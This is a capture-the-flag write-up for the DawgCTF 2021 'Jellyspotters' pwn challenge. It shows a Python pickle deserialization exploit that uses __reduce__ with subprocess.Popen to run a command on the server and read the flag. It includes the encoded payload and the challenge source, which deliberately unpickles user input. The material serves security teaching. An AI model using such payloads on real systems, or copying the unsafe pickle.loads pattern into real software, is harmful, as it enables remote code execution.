DawgCTF 2021: Jellyspotters

Jellyspotters

Category: Pwn

chal

100 points

The leader of the Jellyspotters has hired you to paint them a poster for their convention, using this painting program. Also, the flag is in ~/flag.txt.

nc umbccd.io 4200

Author: nb

Solution

Challenge consisted of text application with feature of drawing text images with option to export/import them between the runs.

nc umbccd.io 4200
Welcome to the Paint Program!
Paint us a new poster for the Jellyspotters 2021 convention. Make Kevin proud.
Type 'help' for help.
> help
Listing commands...
display             Display the canvas
clearall            Clear the canvas
set [row] [col]     Set a particular pixel
clear [row] [col]   Clear a particular pixel
export              Export the canvas state
import [canvas]     Import a previous canvas
exit                Quit the program
> export
Exported canvas string:
gASVRwIAAAAAAABdlChdlCiMASCUaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2U
KGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJo
AmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2U
KGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJo
AmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2U
KGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJo
AmgCaAJoAmgCaAJoAmgCZV2UKGgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCaAJoAmgCZWUu
> import test
Importing...
Traceback (most recent call last):
  File "/home/challuser/jellyspotters.py", line 67, in <module>
    imp = pickle.loads(base64.b64decode(split[1]))
_pickle.UnpicklingError: invalid load key, '\xb5'.

After confirmation that the attack vector is thru the pickle I’ve prepared my own as below.

import subprocess
import base64
import pickle

class Exploit(object):
    def __reduce__(self):
        return (subprocess.Popen, (('cat', 'flag.txt'),))

print(base64.b64encode(pickle.dumps(Exploit())))

Output:

b'gASVLwAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwIZmxhZy50eHSUhpSFlFKULg=='

And flag conquering…

> import gASVLwAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwIZmxhZy50eHSUhpSFlFKULg==
Importing...
Done!
##################
Traceback (most recent call last):
  File "/home/challuser/jellyspotters.py", line 70, in <module>
    print_canvas(canvas)
  File "/home/challuser/jellyspotters.py", line 12, in print_canvas
    for line in canvas:
TypeError: 'Popen' object is not iterable
DawgCTF{funn13st_s#$&_ive_3v3r_s33n}

As a bonus, source of the challenge below.

#!/usr/bin/python3

import pickle
import base64

CANVSIZE = 16

canvas = [[" " for i in range(CANVSIZE)] for j in range(CANVSIZE)]

def print_canvas(canvas):
    print("#" * (CANVSIZE + 2))
    for line in canvas:
        print("#", end="")
        for char in line:
            print(char, end="")
        print("#")
    print("#" * (CANVSIZE + 2))

def print_help():
    print("Listing commands...")
    print("display             Display the canvas")
    print("clearall            Clear the canvas")
    print("set [row] [col]     Set a particular pixel")
    print("clear [row] [col]   Clear a particular pixel")
    print("export              Export the canvas state")
    print("import [canvas]     Import a previous canvas")
    print("exit                Quit the program")

def change_pixel(command):
    row = int(command[1])
    col = int(command[2])
    if row < 0 or row >= CANVSIZE or col < 0 or col >= CANVSIZE:
        print("Index out of range!")
        return
    canvas[row][col] = "0" if command[0] == "set" else " "
    print_canvas(canvas)

# PROGRAM STARTS BELOW

print("Welcome to the Paint Program!")
print("Paint us a new poster for the Jellyspotters 2021 convention. Make Kevin proud.")
print("Type 'help' for help.")

while True:
    userinput = input("> ")
    split = userinput.split(" ")
    cmd = split[0]
    if cmd == "?" or cmd == "help":
        print_help()
    elif cmd == "":
        continue
    elif cmd == "display":
        print_canvas(canvas)
    elif cmd == "clearall":
        canvas = [[" " for i in range(CANVSIZE)] for j in range(CANVSIZE)]
    elif cmd == "set" or cmd == "clear":
        change_pixel(split)
    elif cmd == "export":
        out = base64.b64encode(pickle.dumps(canvas)).decode("ascii")
        print("Exported canvas string:")
        print(out)
    elif cmd == "import":
        if len(split) < 2:
            print("Expected argument (canvas export string). Import failed.")
            continue
        print("Importing...")
        imp = pickle.loads(base64.b64decode(split[1]))
        print("Done!")
        canvas = imp
        print_canvas(canvas)
        pass
    elif cmd == "exit" or cmd == "quit":
        break
    else:
        print(f"Unrecognized command '{cmd}'.")

print("Thank you for using the Paint Program! Goodbye.")

Flag

DawgCTF{funn13st_s#$&_ive_3v3r_s33n}

Privacy Policy
luc © 2021